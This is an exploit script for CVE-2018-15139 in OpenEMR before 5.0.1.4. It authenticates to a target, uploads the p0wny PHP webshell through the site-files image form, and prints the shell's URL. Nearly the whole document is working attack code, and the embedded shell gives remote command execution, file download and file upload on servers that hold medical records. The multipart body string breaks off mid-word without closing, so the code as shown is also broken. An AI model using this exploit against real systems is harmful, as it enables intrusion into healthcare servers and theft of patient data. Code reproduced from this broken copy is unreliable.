# Exploit Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)
# Date 12.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: Prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15139
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15139
'''
Description:
Unrestricted file upload in interface/super/manage_site_files.php in versions of OpenEMR before 5.0.1.4 allows a remote
authenticated attacker to execute arbitrary PHP code by uploading a file with a PHP extension via the images upload
form and accessing it in the images directory.
'''
'''
Banner:
'''
banner ="""
___ _____ __ __ ____ ____ ___ _ _____
/ _ \ _ __ ___ _ __ | ____| \/ | _ \ | ___| / _ \ / | |___ /
| | | | '_ \ / _ \ '_ \| _| | |\/| | |_) | _____ |___ \| | | || | |_ \
| |_| | |_) | __/ | | | |___| | | | _ < |_____| ___) | |_| || |_ ___) |
\___/| .__/ \___|_| |_|_____|_| |_|_| \_\ |____(_)___(_)_(_)____/
|_|
_____ _ _ _
| ____|_ ___ __ | | ___ (_) |_
| _| \ \/ / '_ \| |/ _ \| | __|
| |___ > <| |_) | | (_) | | |_
|_____/_/\_\ .__/|_|\___/|_|\__|
|_|
"""
print(banner)
'''
Import required modules
'''
import argparse
import requests
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='OpenEMR Remote Code Execution')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
'''
Authentication:
'''
# Preparation:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/main/main_screen.php?auth=login&site=default'
auth_chek_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/login/login.php?site=default'
response = session.get(auth_chek_url)
# Header (auth):
header = {
'Host': target_ip,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://' + target_ip,
'Connection': 'close',
'Referer': auth_chek_url,
'Upgrade-Insecure-Requests': '1',
}
# Body (auth):
body = {
'new_login_session_management': '1',
'authProvider': 'Default',
'authUser': username,
'clearPass': password,
'languageChoice': '1'
}
# Authentication:
print('')
print('[+] Authentication')
auth = session.post(auth_url,headers=header, data=body)
'''
Exploit:
'''
print('')
print('[+] Uploading Webshell:')
# URL:
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php'
# Headers (Exploit):
header = {
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "de,en-US;q=0.7,en;q=0.3",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "multipart/form-data; boundary=---------------------------31900464228840324774249185339",
"Origin": "http://" + target_ip,
"Connection": "close",
"Referer": 'http://' + target_ip + ':' + target_port + openemr_path + '/interface/super/manage_site_files.php',
"Upgrade-Insecure-Requests": "1"
}
# Body (Exploit):
body = "-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filename\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_filedata\"\r\n\r\n\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n\r\n12000000\r\n-----------------------------31900464228840324774249185339\r\nContent-Disposition: form-data; name=\"form_image\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n $stdout = array();\n\n if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n // pass\n } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n chdir($match[1]);\n } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n chdir($cwd);\n preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n return featureDownload($match[1]);\n } else {\n chdir($cwd);\n exec($cmd, $stdout);\n }\n\n return array(\n \"stdout\" => $stdout,\n \"cwd\" => getcwd()\n );\n}\n\nfunction featurePwd() {\n return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n chdir($cwd);\n if ($type == 'cmd') {\n $cmd = \"compgen -c $fileName\";\n } else {\n $cmd = \"compgen -f $fileName\";\n }\n $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n $files = explode(\"\\n\", shell_exec($cmd));\n return array(\n 'files' => $files,\n );\n}\n\nfunction featureDownload($filePath) {\n $file = @file_get_contents($filePath);\n if ($file === FALSE) {\n return array(\n 'stdout' => array('File not found / no read permission.'),\n 'cwd' => getcwd()\n );\n } else {\n return array(\n 'name' => basename($filePath),\n 'file' => base64_encode($file)\n );\n }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n chdir($cwd);\n $f = @fopen($path, 'wb');\n if ($f === FALSE) {\n return array(\n 'stdout' => array('Invalid path / no write permission.'),\n 'cwd' => getcwd()\n );\n } else {\n fwrite($f, base64_decode($file));\n fclose($f);\n return array(\n 'stdout' => array('Done.'),\n 'cwd' => getcwd()\n );\n }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n $response = NULL;\n\n switch ($_GET[\"feature\"]) {\n case \"shell\":\n $cmd = $_POST['cmd'];\n if (!preg_match('/2>/', $cmd)) {\n $cmd .= ' 2>&1';\n }\n $response = featureShell($cmd, $_POST[\"cwd\"]);\n break;\n case \"pwd\":\n $response = featurePwd();\n break;\n case \"hint\":\n $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n break;\n case 'upload':\n $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n }\n\n header(\"Content-Type: application/json\");\n echo json_encode($response);\n die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n <head>\n <meta charset=\"UTF-8\" />\n <title>p0wny@shell:~#</title>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n <style>\n html, body {\n margin: 0;\n padding: 0;\n background: #333;\n color: #eee;\n font-family: monospace;\n }\n\n *::-webkit-scrollbar-track {\n border-radius: 8px;\n background-color: #353535;\n }\n\n *::-webkit-scrollbar {\n width: 8px;\n height: 8px;\n }\n\n *::-webkit-scrollbar-thumb {\n border-radi
# Send Exploit:
session.post(exploit_url, headers=header, data=body)
# Finish
path = 'http://' + target_ip + ':' + target_port + openemr_path + '/sites/default/images/shell.php'
print('[+] Webshell: ' + path)